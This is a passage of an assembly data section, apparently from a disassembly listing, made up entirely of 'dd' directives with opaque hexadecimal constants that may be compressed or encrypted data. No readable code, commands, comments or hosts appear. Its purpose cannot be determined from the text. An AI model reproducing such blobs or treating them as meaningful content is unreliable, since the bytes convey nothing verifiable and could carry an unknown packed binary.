4708FEC0h, 1172031Dh, 0BA828005h, 945BD70Bh, 791658C0h dd 36D2BA02h, 22355FDh, 0A40076DFh, 0C03F9FF1h, 6F2E9158h dd 6B00FA6Eh, 0AEBDE715h, 1399A77Bh, 0CB0646C6h, 0CF43880Ch dd 5AD502C0h, 5FFE2A15h, 5032B600h, 9E146823h, 812F14B4h dd 0F856B840h, 543051F2h, 639F00A4h, 591DE538h, 4C98F098h dd 460968C4h, 55D3F907h, 0CEC22A9h, 16BF1330h, 3836B604h dd 0B076FDCh, 3B9F5FBFh, 66018F61h, 51BE01h, 9EDC27Fh dd 84572BD7h, 158874CBh, 5303E3D9h, 4F8A3E25h, 0EBE7886Ah dd 387561AEh, 0E5C6C480h, 81C44532h, 498FE8h, 6AC7C944h dd 0DCE0183Bh, 7D0E4546h, 0B6410E4Ch, 40537AFFh, 96CB5F88h dd 0B04E5040h, 7CE0891Ch, 4BA21C63h, 7AF3CE30h, 65C700C2h dd 1BAE9EF1h, 8BCFB30h, 0AC83F8ABh, 33763C9h, 7DEF55E0h dd 5104DBF0h, 0FEF3B436h, 0D83EC494h, 1B004223h, 0A711E5D6h dd 61CF02E9h, 0E47DB780h, 0EF7CF8DAh, 4D40A502h, 0E4D5F374h dd 78C09330h, 7D48D0E3h, 83F53D78h, 72CB450Dh, 90C05948h dd 76BCE858h, 9254008Ch, 47B9CCD9h, 0FF59B29Dh, 0C07C8848h dd 0E511EC05h, 3F830843h, 0B2F0EC1Dh, 0B500DCD5h, 80BAF372h dd 242EEF01h, 2538B882h, 53915417h, 0A08A0380h, 0C11EF5B4h dd 2CE6BF26h, 50414ACh, 58508007h, 0EFA6F4FDh, 814C48C1h dd 0BC20ABF9h, 3C55892Ah, 8C40E880h, 915ACF2Dh, 0DC3DD6C4h dd 29587900h, 905F1F0h, 654900B9h, 6040640Ch, 1EF13CDh dd 0DC684DF1h, 8E7FC130h, 0C0BFE721h, 189C992Dh, 8BCC4A08h dd 0C047C860h, 0FDC08455h, 0E0A3FF02h, 59488EC7h, 1849D920h dd 26610795h, 2F2AF46Eh, 0C2013964h, 0C842EDA8h, 4344A04Dh dd 8400360h, 4B6AF400h, 0C59DE89h, 482D4D28h, 602CB32Eh dd 568127B4h, 1C7518D2h, 428208DBh, 3464ACDCh, 4B59F244h dd 0C29441A8h, 3216E326h, 3BFA10B8h, 9064E415h, 93049400h dd 5A24BAEh, 616DC303h, 0B1E71AE0h, 8C437F3Ah, 5E51FED7h dd 0B239802Dh, 0A07F3EB5h, 9DC10D3Eh, 9C405244h, 0A2C35F3Ah dd 8138C245h, 4062D41Ch, 4BD97859h, 0EE01B518h, 0C2084FF6h dd 25C14E31h, 4072F830h, 0D313E571h, 48654202h, 41C8DCCAh dd 0E0FA6DC2h, 8058A324h, 0B702A67Ah, 0A9E8EADBh, 2AA890D6h dd 20BC014Ah, 0EED5BA81h, 0B8447860h, 0AA038C48h, 0CAEBE5A8h dd 0D4B83A76h, 7C47B06Bh, 97634364h, 30E037F9h, 2A401354h dd 4FA22D77h, 0F6C04C83h, 18043DD3h, 44D79AD5h, 5B85CB02h dd 0F383B8A0h, 6800F2ACh, 334547A6h, 18B6A0C7h, 914AD61Ch dd 157F5FA7h, 0F9EC5D00h, 0F643583Eh, 0FB0E0768h, 150CB112h dd 0D6BCB4B7h, 92165300h, 323A3586h, 16F572B5h, 0D0E2BF20h dd 92FD8AC8h, 418D3451h, 258C990h, 0A418400Ah, 1C6B2529h dd 98511409h, 3E1846D1h, 0AF208200h, 28D9F7A1h, 4DE3373Fh dd 4B476E81h, 31FA906Eh, 2100E416h, 0AE3D86D3h, 12E52807h dd 505332C3h, 6709A468h, 5C4D01C8h, 51566E0h, 0C4E15046h dd 0FA00F93Fh, 80A053BDh, 0CC807D59h, 0C0495C1Ch, 0A497DC2Dh dd 74844591h, 4CF6C03Ah, 3CBC14D0h, 0CD2FB661h, 62DBC78h dd 4611D49Dh, 0C1FE0C83h, 305426C9h, 3752A334h, 0E8F405D4h dd 68E112C3h, 38BC283Ch, 0E1F4008Ch, 0C2DB596Ah, 153FF5B2h dd 2F30F229h, 0FCA96813h, 0BEFD0014h, 0D3E8C906h, 709650FEh dd 243B4676h, 651074DEh, 40F0E32Eh, 39D2EF09h, 9B80936Fh dd 5657E021h, 4E7010Eh, 788F4EE1h, 0D62841EDh, 8840247Dh dd 1D00437Bh, 0A2CFF031h, 0FC8A28D8h, 0BAC02B7h, 7B2EFC81h dd 0E99C9CA7h, 0E7A9E0A1h, 0DFCE107Dh, 3A20D23Eh, 24623A0h dd 0FC4A997Ah, 454BDC5Eh, 6044E414h, 249B0BDBh, 85C51FEh dd 4201AD47h, 10AA59B7h, 2DF19Ch, 0FF51DBA1h, 985A58EBh dd 625F4423h, 4C074051h, 0F139E402h, 474A085Ch, 60F7E802h dd 0E9BC5EB3h, 406454C5h, 0EB7DAE60h, 88094A5Eh, 0B68D2D6h dd 303B26C4h, 65AAE8A3h, 7BF00A9Dh, 7A9D0064h, 0CBF941ADh dd 3D4BBE25h, 0E61700D8h, 83ED106Bh, 8A055300h, 0A95CFC02h dd 0B8E8F4E1h, 13E50944h, 709D04D8h, 74804811h, 0EAEBFA99h dd 0C425B8B6h, 0CC134590h, 3A4B7721h, 45EBC845h, 0A4A2C012h dd 0BA304FF2h, 664A3D3Bh, 19E75B00h, 50E50AC6h, 8CCB0B4Bh dd 0EDC053C8h, 0E39BA68Bh, 0AB6E820h, 0F59AE52Dh, 3DB78AB4h dd 1900BDA8h, 0F761E2AFh, 7300B696h, 0BC0FEE86h, 0BA1CA28h dd 6C2C7BACh, 0BF835818h dd 0E8B0D900h, 5AC3C287h, 0A47D0016h, 9CA83255h, 94A26D94h dd 834498CCh, 0CC5E5CB0h, 678C47E8h, 780B4857h, 0E80AF020h dd 9407E678h, 494EE305h, 72312892h, 5E489C50h, 4E007646h dd 81C335E7h, 0B400218Dh, 0E3A2E4B9h, 0B25085BBh, 84099720h dd 4BC0D44Dh, 0D34A4h, 7E6560E0h, 896D862Dh, 750A520Ch dd 403BE807h, 0B4001C31h, 0B48FAE5h, 9EFFFEC4h, 18982FC4h dd 7B3EC6EEh, 0C967C36h, 4A465Eh, 59DF828Ah, 7C51E093h dd 0D1C4B12Bh, 130B1841h, 44A5173h, 4448E3Ch, 14A86AC9h dd 28C43BCh, 8C75630Fh, 0B0676296h, 0CC604644h, 0AF0255B5h dd 5FAC591Dh, 0FE54687Eh, 22491E7h, 0EAE69299h, 0DE45464h dd 4566C0C4h, 2F5E0014h, 762358h, 2D7FB0D0h, 1509F864h dd 48FAC02Eh, 4006CBB0h, 0E27BEE5Ch, 465E249Eh, 0DC783E46h dd 0B2E3177Eh, 5A517406h, 4EC31061h, 931412ABh, 8C75543Ah dd 53C7EE03h, 0BA94AD49h, 97F8D042h, 5211941Dh, 19225C80h dd 67EECE3h, 94AEC801h, 7F7A17D3h, 99C482Fh, 0E9EF1280h dd 0B2E72857h, 0D86C5DE0h, 0C9030BBCh, 0B68E1366h, 0D9EFA1F7h dd 0E0D331D5h, 4B113316h, 0D79CC21Ah, 9C0100C4h, 3AD8C301h dd 0A6E8C597h, 0CA50204h, 3DD3E33Bh, 0B4368FE0h, 650BEA01h dd 0A9F27E06h, 6B3DC463h, 0F80E15C0h, 0C7A4AD0Ah, 5640D439h dd 3D1F7E1h, 0B14E8495h, 0E9D3DD7Ah, 21BE0830h, 395D990h dd 0D3A3279Ch, 5093B33Bh, 0F7A4D7E0h, 59C3DD00h, 0E063054Ch dd 162B01D2h, 3B5D51A9h, 804080A5h, 4224212Ch, 996F0334h dd 0D931F2D1h, 581D8180h, 71B86218h, 6957D18h, 0AED5D7B7h dd 563D60E0h, 1E658301h, 99887B5Ah, 8989362h, 84A021C7h dd 0CCCD6500h, 273DA272h, 0DEDDE96Ch, 0D5F06313h, 0DA18D991h dd 0A1B84E78h, 21966DD8h, 7B30E670h, 5A241065h, 829EE0ABh dd 0C4890065h, 0F7EB19CBh, 5C543D59h, 6200B788h, 0E2424BFCh dd 0C366583Ah, 0ECAFD2D8h, 0C9394115h, 976E1EACh, 0D91C88C0h dd 0B1F089h, 77F1F2A0h, 4C83C055h, 0E12D6503h, 3E563C81h dd 14017661h, 0F3ADCFD3h, 989DE9A8h, 18215E08h, 0F914008Bh dd 68BCFDF7h, 4C3220CEh, 3085484Dh, 0CF711487h, 5D228D46h dd 25E48FFCh, 60289303h, 0B0C7FB34h, 503A29C4h, 7E8460CCh dd 0E7F2480Bh, 449C3E79h, 69B68781h, 0CCE81ADCh, 0DAECAC58h dd 0D23A8219h, 0AA40FC39h, 501D941Ah, 8CD9C097h, 22657904h dd 0C6629B5Ah, 65809C21h, 3EF8CCh, 0E5D0D21Bh, 4C5B8B54h dd 0CD00DBF4h, 66D7AA8Fh, 0F20E9CEAh, 7886F107h, 0E16727C8h dd 26ECD0Ch, 1818208Fh, 38D97428h, 2C0A6338h, 206EC1E9h dd 0C4FF5831h, 0C44EC707h, 23A4149Bh, 95CF012Bh, 19C14E86h dd 0D79220DEh, 0CC071995h, 0FF58E6CAh, 542CCD40h, 17318F0h dd 53D4A890h, 1B808274h, 0B8E22804h, 903A1AA4h, 3C3518A6h dd 6919E80h, 62DE6ECEh, 524BC07Ch, 69440C47h, 0E4E0D063h dd 0C91FCB42h, 5104D31Ch, 805C205Eh, 0BD85043Bh, 23F1018Ah dd 1D623B4h, 5A1D657Eh, 88CE1883h, 657E859Fh, 23B1131Ch dd 1F00A19Eh, 0DE284EE4h, 59500158h, 0EDA99843h, 0BC03C0D4h dd 50707F3Eh, 48C2690h, 4E8995CCh, 20C062E9h, 7095D497h dd 0B217302h, 917818BDh, 86D12C88h, 288A9058h, 8CB9CC14h dd 176A4490h, 0FB149206h, 0C9D8AEh, 5ABB8DDEh, 318474C5h dd 0B4050171h, 884EBD20h, 0D4362C01h, 119EA852h, 641A80CAh dd 1E5E8867h, 0B6135492h, 903A9B1Dh, 3F00CA23h, 0BBC74C8Eh dd 206890EDh, 9300F20Bh, 55A52CE2h, 0C089BE6Eh, 56BF1E68h dd 0A6602F92h, 201F8491h, 131B077Eh, 5C23D3FDh, 21C08D08h dd 682027E3h, 4BF50F1Fh, 83AF26B5h, 0EDAC6BC0h, 3A26867Ah dd 0D7430054h, 908FF2BEh, 11201C30h, 882B1B7Dh, 24E6808Bh dd 0C11F920h, 0BF102603h, 23D31DD5h, 1E039148h, 8C1B7F20h dd 0E4209962h, 1D592026h, 57D507h, 0F25A27DFh, 0BC90969Dh dd 0CF831B7Bh, 77875805h, 0E3A56617h, 0F7D48C01h, 9C42D5FFh dd 0F630C4FEh, 4DCAC55h, 0C2056F3Bh, 2444823Ch, 1195CE30h dd 88D94E87h, 0D639BFBCh, 191BA201h, 0C0FECBC0h, 5F1C6392h dd 8041A6E8h, 0C7FD231Dh, 0A069D6D0h, 7DE56140h, 1C0F3E57h dd 60197130h, 99C0ED54h, 17F021A6h, 682D4866h, 1C8C5DBCh dd 0C0853750h, 9C8465DFh, 5A26E37Bh, 0F8004CD2h, 2C2A3C0Dh dd 60326418h, 14846080h, 0A5CF23D2h, 19006311h, 0A341148Ch dd 28009546h, 0A8784B70h, 0A8C8397Ch, 1E85128Ch, 942113h dd 0E6D49A31h, 9E1D063Ch, 51CCB330h, 187371ABh, 98CDB60Bh dd 1F58C883h, 623880CCh, 0FA0821h, 0F56A56C1h, 55C9471Dh dd 0E4B8BEEEh, 1BB7DB03h, 24C67ADCh, 3B8C240h, 0A12E9298h dd 0C31B610Fh, 257BE0C5h, 2D09086h, 0D1EA7482h, 0BCA9DDADh dd 6027D024h, 0B88A95CBh, 0C140913Eh, 8795D396h, 8BB15894h dd 4B0BF220h, 0DE90C479h, 223414D5h, 0C81D3AA7h, 64D8528Bh dd 1184308Ah, 2023808Eh, 91331B7Ah, 2BE7C0D8h, 34003220h dd 0FCD1212Dh, 5C4EC95Dh, 705073F0h, 479103E6h, 0CE72037Ch dd 0DCB78024h, 3A4CBB80h, 50155ED4h, 602E9C34h, 5D3759AAh dd 0A21C1118h, 654154E4h, 0D85A585Ch, 2AD4F074h, 94D0AEh dd 902618AAh, 517FD379h, 98C0B000h, 0C4CAA89Eh, 93FD0FF2h dd 31F8AEA4h, 8A00AF05h, 6AC2ADE2h, 1CF6ED78h, 97F7C4Eh dd 0B0124D5h, 0F8831ECEh, 0FD505B1Bh, 1450EEA4h, 582638C8h dd 382C6C1Dh, 0BCE4674h, 9EC63B3h, 28002AB5h, 9A441100h dd 55804224h, 9C22C46Dh, 0FA3198F2h, 41E96C60h, 0DAA0913Eh dd 21657A80h, 87A35Ah, 965819Bh, 300080B2h, 74042422h dd 0A3C05EE3h, 5452C0DCh, 3BA0C45Dh, 0A888905Ah, 130FE5E7h dd 86E84E43h, 6318D963h, 865621AEh, 32934090h, 84AA8C2Ch dd 89808711h, 9DCFCD14h, 165C448Ch, 0E4149100h, 0C9461729h dd 30BA48F5h, 90029F0Bh, 2A10D0B4h, 0BE2EE249h, 40F81279h dd 6220D370h, 5740A534h, 1D011DCAh, 1C023BCDh, 84DF840h dd 108FF0E1h, 419656CFh, 3BB0607Bh, 3D8C3121h, 8BD80245h dd 41C62031h, 0D8584BBCh, 28EA889Ah, 43582009h, 8444FEh dd 0C58DDD34h, 0A917331Fh, 0F169A73Fh, 8013134Bh, 0FA00046Fh dd 653603Ah, 0ED0072ACh, 0C6C8521Ch, 0D4A3D198h, 8EE8FCC1h dd 0A0D8018Ch, 8F91909h, 3C5BC0D0h, 211025E5h, 3AA004E0h dd 206A23F8h, 666E10BCh, 204E04A1h, 9880F394h, 9AB25E99h dd 25949318h, 0BB914495h, 3AC87h, 62D0B3A8h, 2EF9170Ch dd 746A9A2h, 0F3EF43C4h, 0E265D090h, 0A1000BB8h, 4A5697A5h dd 0CBCF0C10h, 54172C90h, 1A826891h, 8E40B057h, 78B223C1h dd 0C04F248Dh, 0F1B18E74h, 7CA749Bh, 56BB9E20h, 216C4043h dd 54905B66h, 2C48DC43h, 78C99B8h, 71CA8D36h, 0F9C81318h dd 5E87F805h, 0C41DA6EEh, 6126C48Fh, 0F251C3B7h, 0BA7D908Eh dd 9887CC49h, 0DDCFC1FEh, 7CE9F0F3h, 1E6523Eh, 0B01BCD63h dd 0CC43D3DBh, 6A9C895Ah, 5C1D2020h, 4A0440C6h, 8EA63D47h dd 0C09888B0h, 0A587F278h, 17E75139h, 3804FF6Bh, 6704CEFEh dd 5234B4D1h, 86FA047Bh, 2820CD24h, 0D2802811h, 0B94E8395h dd 91C3448Ch, 0E695DA1Ch, 0D894EF5Eh, 39970290h, 44D9A1D3h dd 88E0C454h, 0C9CA024Fh, 1134973Fh, 856781C1h, 2C40AFC7h dd 765C3BB2h, 7E4B13C6h dd 0C844CB9Eh, 0E245C1CCh, 2DAFC5E3h, 0C5180038h, 967BC028h dd 83A009Bh, 0BBE5DF05h, 390AA359h, 0B89F2E91h, 1B5B3D87h dd 1AD8E7E0h, 0DDF706E2h, 21942E50h, 0CA26FA00h, 0F44D6654h dd 0BAC1BD7Dh, 0A43D84Eh, 1AC41E27h, 79BC5194h, 16618BCh dd 3C65D6A7h, 6598A573h, 7BB810A8h, 0E7501AEBh, 849171FCh dd 0A0188ED9h, 0F7AC3Ch, 90C61FBAh, 551EF59h, 0B8D2A74Ch dd 75C6BB1h, 0A3481DAEh, 6A35B6C1h, 3C2F60E8h, 81285650h dd 0B4331F88h, 7DCC2AAFh, 0C8DE0032h, 377BCEE5h, 5013343h dd 4679A51Bh, 25F8C283h, 0C0DF4D1Eh, 23FC2E4Eh, 587B005Dh dd 0B0E2BD6Bh, 3C8D0D0Dh, 23E02154h, 896C3999h, 21C8CA00h dd 0A28F4B1Fh, 9D2F8418h, 7BE569h, 0E0F61672h, 653D3B5Bh dd 0C60641C3h, 3787F01Ah, 6E6A00F8h, 0BCABE501h, 0AF048DD2h dd 0D179FBFAh, 0E43BD892h, 44620404h, 8C2B1634h, 660C4CDCh dd 11B95952h, 8197602Fh, 9AA1AFF0h, 27A89600h, 9DED711Fh dd 4C6100BEh, 70C2A1Dh, 64E94A5Ah, 0D892D258h, 465E2896h dd 7FE0F8Dh, 23D821E8h, 58602BD0h, 0CDC740B8h, 7C3E6610h dd 6FEFE405h, 2CFCD0DFh, 0A4B93C35h, 0FCF7A0Eh, 7292BFF6h dd 6258E402h, 9085098h, 7F2901A1h, 9711849Dh, 194809Dh dd 307F81CBh, 0A1FFF802h, 85D697CEh, 24B43A9Ch, 0F9DC003Ch dd 0DD752AFEh, 1C63D9ABh, 87446336h, 46C0E4E9h, 657F02D3h dd 798B5A20h, 86A2601Ch, 11149565h, 0FB0733h, 0E8576454h dd 6BD8A1FEh, 0A89D88DBh, 0F98ECA11h, 0ABB73EC1h, 0A08060B3h dd 465E10B4h, 11392FCDh, 0B8736238h, 0C630C1F2h, 0C20A0554h dd 0C87D264Eh, 0FDB460h, 9C55D41Dh, 0DC1B8234h, 0F801C21Eh dd 8CF1BF14h, 0B021F058h, 431B2764h, 0E9036896h, 98552029h dd 7FE3C89Ah, 7D6CA0AFh, 673F004Fh, 8465501Fh, 0F5020A2Ah dd 0C0FB16B3h, 4FFEE0BFh, 0E3E6125Ch, 8A9C929Ch, 5CF158D1h dd 0D88D6019h, 80D10639h, 746256EFh, 4F978EA3h, 717441AFh dd 70695B11h, 1D889DB8h, 3A5A0B97h, 0A27518h, 54415896h dd 641C40D0h, 5702A3A2h, 0E82810C7h, 4BA887D2h, 238CABC3h dd 860182B0h, 0B5CFD014h, 8E1B000Eh, 0DF7A3A14h, 67C90108h dd 0A3F04CD5h, 21DC24DBh, 0DC90B6h, 51FE4146h, 424196Ch dd 0F0CFF628h, 28D01130h, 968252D4h, 3E0EF61Ch, 0F62C6D4h dd 0E5A0EFA8h, 3400DC31h, 0BA5356BBh, 0F81817E0h, 0CE488473h dd 0C05C8804h, 2D72B2A7h, 554ED21Eh, 0DA7498BDh, 245ECF50h dd 70A092h, 29CDCB47h, 2F27F2B1h, 135CB7C3h, 428A00AFh dd 86985A58h, 66112496h, 0CCBF077Fh, 0E1A30F74h, 0E059BD81h dd 0C501460Ah, 2863A2D7h, 8C733151h, 0CA37BE00h, 1C0A7A7Ch dd 875ADC27h, 794C3AE8h, 28CB03A5h, 3BC278C1h, 225FC8F0h dd 0C9D14499h, 0B1008D18h, 6389C5BEh, 12C1C35h, 0D02F4CB2h dd 4575CE56h, 0FF40B094h, 41DF006h, 0BE90CA9Eh, 111FDC54h dd 46DE056Bh, 0E250CB98h, 3AA083CEh, 0A0A25E50h, 4D23049h dd 54A8AC06h, 5E78B418h, 0EC139746h, 230C3A91h, 5978005Fh dd 63A6BA04h, 6758BB03h, 912D3A09h, 0BC2024C2h, 22F44477h dd 0EC192581h, 4E238895h, 0BF11D1h, 0B095D594h, 0C923705h dd 5524C80Dh, 2A00CD81h, 0EA55A56h, 4EAD90D8h, 231C3FDDh dd 397702C0h, 0B48217B2h, 1D0253F4h, 87A4D1CAh, 0AC39E730h dd 0B6008339h, 697A1014h, 73F97CDh, 7FBA68DCh, 792381CAh dd 42B3C0D4h, 5136B512h, 0F0800CDBh, 64520212h, 5241C58h dd 70505AFAh, 343AF825h, 9902C923h, 60CB28C1h, 0E633585Ch dd 3094255Eh, 0BF645C47h, 3A494560h, 0FCC44628h, 18D8CF20h dd 29C56051h, 3092A02Eh, 0D0B639h, 36B0CBFDh, 209B12Ch dd 0D654D1E9h, 0D8E7D221h, 30678C44h, 0CB172FFh, 405D57Ah dd 0DB7C9BE4h, 6251C404h, 2E4E1088h, 74787AA9h, 9F03C846h dd 2EF8272Dh, 6F7FD8E8h, 9A55FEFAh, 0E88C389Ch, 7B1D8C69h dd 0F86455B0h, 66E6720Bh, 711CB1A8h, 207188Eh, 19435E3Bh dd 0C0C33403h, 10B519Ah, 9A400CB2h, 2C83B46Ch, 9C90B964h dd 0C7E6394Ch, 4F1E69EAh, 0EA0E4ADDh, 85818075h, 0C1A4B26Eh dd 0EC3178E8h, 6CDCC9F6h, 8CCCE848h, 6C3CF702h, 71595224h dd 0B04A03D8h, 0D3B0C9F9h, 0B60DF46h, 0A7585970h, 31F414CFh dd 0C7E8DCA6h, 0EE11FE8Ch, 0B16F01AAh, 12DC3269h, 94C0AEBDh dd 0A21DC740h, 2F1C0772h, 34383D6Eh, 0B070A094h, 34F49759h dd 7AC05939h, 796B423h, 0F258DE1Bh, 1F69C54Ah, 70102EB4h dd 575A9B51h, 9923CC3Bh, 7EE09602h, 0C3B0401Eh, 46CD80D9h dd 6400B25Bh, 0F4B84356h, 7296B01Bh, 504B640h, 0D573EFD6h dd 0DE84A580h, 8411582Ah, 0CE148880h, 0E4B485CFh, 0A901558h dd 0D1AEC914h, 4C1D8084h, 9A04F9D6h, 7FEE8900h, 83FD909Bh dd 0CC8C0EB0h, 0CA5F7825h, 4941DCEh, 0B928C8E1h, 468704B4h dd 2E0BA826h, 4CF26848h, 7B4F3603h, 0EEC25E99h, 0A4D62520h dd 0BE91E01Dh, 3AA009Ch, 3C214B61h, 38816B60h, 0A4B2E964h dd 4E10F934h, 0F751D010h, 1348449Ch, 0C8648EB4h, 0B32AC5C3h dd 6052170Ch, 0CAB71090h, 0C6C203FCh, 4AEC22EBh, 0A8C037AAh dd 4BE8047Fh, 0F0094E78h, 0C05C8052h, 0C0DFD21Ch, 0C41958A9h dd 0D37C20C8h, 19F2DA30h, 12B50162h, 4AFE097h, 14EF32D8h dd 6BF01154h, 9367B100h, 87515736h, 0C129C400h, 6D27CBB6h dd 37CC3EA1h, 67113848h, 0DA6E08DDh, 0B32E0BA3h, 56F4C822h dd 0C8440467h, 1DC09960h, 58466600h, 0B1B95BE7h, 3FF8394Ch dd 0B2BA7060h, 9E48FAC8h, 8CCCE8FCh, 42C78A01h, 665ED050h dd 2E50DC2Ch, 0F8620939h, 3CE42212h, 0BAD1D099h, 0FB395D18h dd 3D830037h, 0A88CD298h, 3204171Bh, 14D049C6h, 8F799871h dd 0F7004318h, 0ABB06EEFh, 4F29B318h, 84681679h, 0D4F234h dd 477CD160h, 5E930DDh, 0F8841B50h, 0E00CE6FFh, 136F54Dh dd 0CDC4B7FAh, 41952E66h, 341DC89Ch, 5090A460h, 0EE5C5602h dd 54D4B6B9h, 631C04A0h, 0B8B0BDFDh, 6950015Bh, 806224CAh dd 0CF74244Eh, 0F8FADB44h, 18A6E9B4h, 2CE9040h, 499B59BBh dd 0D1BC5971h, 7202188Fh, 743201C8h, 500E3BC9h, 4E442140h dd 0C0BB8808h, 66CB58C3h, 9E2AD300h, 241B106Bh, 48A2029Ah dd 0A63D1A0Ch, 984470E7h, 37707F60h, 6754D40Ch, 247B1858h dd 0BEEC4203h, 0CB4D6117h, 0C06BC838h, 4EC134A6h, 0E0542812h dd 265EF442h, 0EEB60394h, 0CFA47105h, 0E0F09646h, 6E665F4Ch dd 0A0D21770h, 9123D500h, 26645F4Bh, 74ECDDAFh, 4C00BD46h dd 514BA58Dh, 4F0C76C1h, 0A0992E5Eh, 0B53925B1h, 0CD919017h dd 0D2587387h, 94685904h, 820F6F9Ah, 0A2D43857h, 71096E2Dh dd 18C37988h, 43AF894h, 0A15B5F87h, 88F4C11Eh, 30E069A3h dd 525A890Dh, 80856228h, 4C7C59EBh, 98E2642h, 0A810B8E3h dd 6D174CB4h, 0F734049Fh, 0C61D0556h, 2DF42087h, 63E24CA2h dd 0B6148732h, 2A4950F0h, 0C36D0CC7h, 0ACD1CB3Ah, 0E67A2C00h dd 905DB451h, 0A36C0460h, 0A864216Bh, 27C12250h, 0F0E6C01Dh dd 0E606CA70h, 0D9AECDDFh, 12F6F1h, 0FEC7C5C3h, 0EC84310Ch dd 0ED2E6573h, 0E947A0CFh, 60904448h, 247C201Dh, 70F4231Bh dd 207725E5h, 0A13D0900h, 222D1CF3h, 0CFB61C61h, 2273D366h dd 25204F70h, 6E703AF2h, 0AF2AB058h, 11620754h, 0CF7C001Bh dd 0F098971Dh, 349F1E24h dd 0C64674h, 108BBEBCh, 9ACF9Dh, 80436FF0h, 40F201CAh dd 5E18CD98h, 78A09762h, 0A40824FDh, 0C3467494h, 8464AE25h dd 8985D300h, 6D86C576h, 5C4B01A6h, 144E9E90h, 3804303Fh dd 0B021C744h, 0D58727C8h, 20929CEDh, 68E20CE3h, 419C230h dd 0DDF1B103h, 0D6B8FC80h, 0C180589Bh, 0FDF40D13h, 84C84303h dd 0AB25CCC4h, 78C2B9F1h, 413AD060h, 4A3836C3h, 0B11A9004h dd 8FDFE4FCh, 90FAE420h, 0C347DC76h, 800ABE73h, 0E37DBC0Dh dd 5FC079E5h, 30C80172h, 0CEA24783h, 3A3193CFh, 0A01F1CD7h dd 118A4A17h, 0AE063BADh, 410E6D84h, 1EF081C5h, 0ABC80398h dd 38D9004Dh, 0D055226Ah, 3CBE4E46h, 7460E025h, 5E2896B6h dd 98708C46h, 28245C3Fh, 2F30CD04h, 9F61409Eh, 38635B75h dd 0F384C372h, 0E2793A54h, 308FF248h, 84001A5Ch, 0CCB167EBh dd 0EF7352h, 75F96338h, 0F7EEC128h, 3001DF4Ah, 6C5258C2h dd 0C32EC03Ch, 77203C40h, 64DB784Eh, 9B521F80h, 0AC7677D4h dd 0D83BF9F1h, 6C263F75h, 6008B4BFh, 0B884275Dh, 8E8B0EE6h dd 8CE0921Fh, 4CBB1321h, 0F290E235h, 87A03369h, 0D506E6EDh dd 83126ECFh, 0AC3B00D1h, 0D8321829h, 6C0B872Ch, 902EA50Fh dd 0F34FC8h, 0B829FED0h, 0BF128A83h, 0C436C12Ch, 50CBAB02h dd 8907E204h, 0D4400419h, 1F658060h, 11935A23h, 87A100C5h dd 59279B65h, 6DBD00AEh, 0F2CDC185h, 649C985Ah, 0C95B3D0Ch dd 0D090B556h, 5F00F874h, 0CDCB76A3h, 0A41CC831h, 58382E88h dd 8EDC0766h, 4CF43EC5h, 38CCAB8h, 77F83452h, 0EEC7FDADh dd 1BEF9801h, 0E830285Bh, 0B008CBBh, 15EC65D3h, 9D13299h dd 200FE682h, 2204F879h, 0E4DB56BFh, 0E35C09C0h, 810182F1h dd 0FB38AFABh, 8C49962Fh, 84E5D4h, 0D369A6Ah, 86740692h dd 383DE200h, 0B71C6325h, 382A079h, 0D39F0278h, 12A77D5Eh dd 1CDE24DCh, 82A024CCh, 502C5A58h, 0A8288856h, 9D9F0220h dd 5AF8C083h, 140052FAh, 70195839h, 74510ED5h, 0D481472Ah dd 49C70FF7h, 0BBEFE094h, 4711CE6Bh, 62C344B8h, 943CF803h dd 441727F4h, 0E2806891h, 43564774h, 6CB9C70Bh, 941C4678h dd 0A91DDC44h, 24017D80h, 2309A204h, 0A8A84860h, 0A8D5AF80h dd 1A75FCh, 818BD9ADh, 0B68E7119h, 8F04967Dh, 0DCFC3B79h dd 0D2B798F8h, 78978BDEh, 77816991h, 2A56C294h, 0F0514038h dd 0D4918457h, 79188D71h, 7B0019E8h, 4335DEA0h, 929C104Ch dd 5EC4BE90h, 0BD286846h, 0F84E15F1h, 354FF42Bh, 0E46F4Ch dd 362AD885h, 27E05AE7h, 0C5548BBDh, 708CE116h, 6C518832h dd 4261802h, 0D2E0D421h, 40864540h, 0A9BE06B8h, 0C92EFC13h dd 0C5B19CE7h, 68A9D0B1h, 5A635C02h, 24F3C4Ah, 4089DC69h dd 565A60F0h, 0DED9D88Ch, 9738A81Eh, 912E0C02h, 90F3088Fh dd 0BC106284h, 42AAAD5Ch, 0CE1222Ch, 79E452F2h, 1EEA1F78h dd 0FA0CC49Ah, 1867D83Ah, 24760423h, 0B8C23219h, 8CCBBCACh dd 2DAD6E00h, 33D68DF2h, 0C1242881h, 0F48B54C4h, 315A6051h dd 38D1B6E1h, 17FC5527h, 808B91D0h, 0F8BD74CAh, 0D0875CD0h dd 2571E904h, 8884F8CFh, 0DBA186AEh, 394F79D2h, 69F8EC40h dd 0E0D0803h, 78AC0170h, 0F8847664h, 0C8AEC97Ch, 0B60300h dd 0DC3E45E7h, 9A46DF74h, 1C59BF1Fh, 0A4673041h, 60C68B14h dd 837154ACh, 6E8F2689h, 72C30420h, 57FB1EBDh, 3C823AEFh dd 0D311F06Ah, 1727987Ch, 978B91CCh, 580B68A3h, 0FC781266h dd 0BB72E2Dh, 707873C4h, 7245440h, 203FD462h, 3A065ACBh dd 2C02388h, 0EC053C17h, 8580ACE0h, 0BD474A80h, 6A0EF037h dd 924AC7B9h, 0D9B66D02h, 62580508h, 0EE6CF074h, 0F8402CEFh dd 27258C6Bh, 20C4CEh, 1F48A9F1h, 0F70EC09Ah, 5CE66D3Fh dd 7C9E79DCh, 11881769h, 6BA38062h, 488B489h, 27B72513h dd 0EC50EC98h, 13038C99h, 4C73B294h, 76F29AF8h, 0EB7C4040h dd 49DF54Eh, 98E2FF40h, 0EB308EF2h, 4C1C005Fh, 91B67CC0h dd 0EC121DB7h, 3CE5C3D2h, 910788FDh, 21855021h, 3222D084h dd 97500C58h, 58E048A6h, 0FF122A7Ch, 50F3BC72h, 7ACE4C50h dd 0B811C41Fh, 0E0C4F6B1h, 1D23B1C1h, 3BE476B2h, 86F91B01h dd 2AA63D50h, 3A9C6088h, 8B008E47h, 9DD086Bh, 0A117B6E5h dd 48C069D5h, 0FDA22658h, 5E705CF6h, 1A00BE46h, 97323E61h dd 0C161D8Ch, 64A6F4F2h, 961E2207h, 0F84263BBh, 5B3D16D8h dd 19683A50h, 1BEC5000h, 301AB76h, 5150046h, 5B8F1036h dd 0E6E07ACBh, 8814345Ah, 8CC9E8C4h, 49500400h, 1623A51h dd 2948190Ch, 2FDAB0C1h, 38CEC016h, 0AEC390C8h, 125D98EAh dd 0B2220BBFh, 24933C46h, 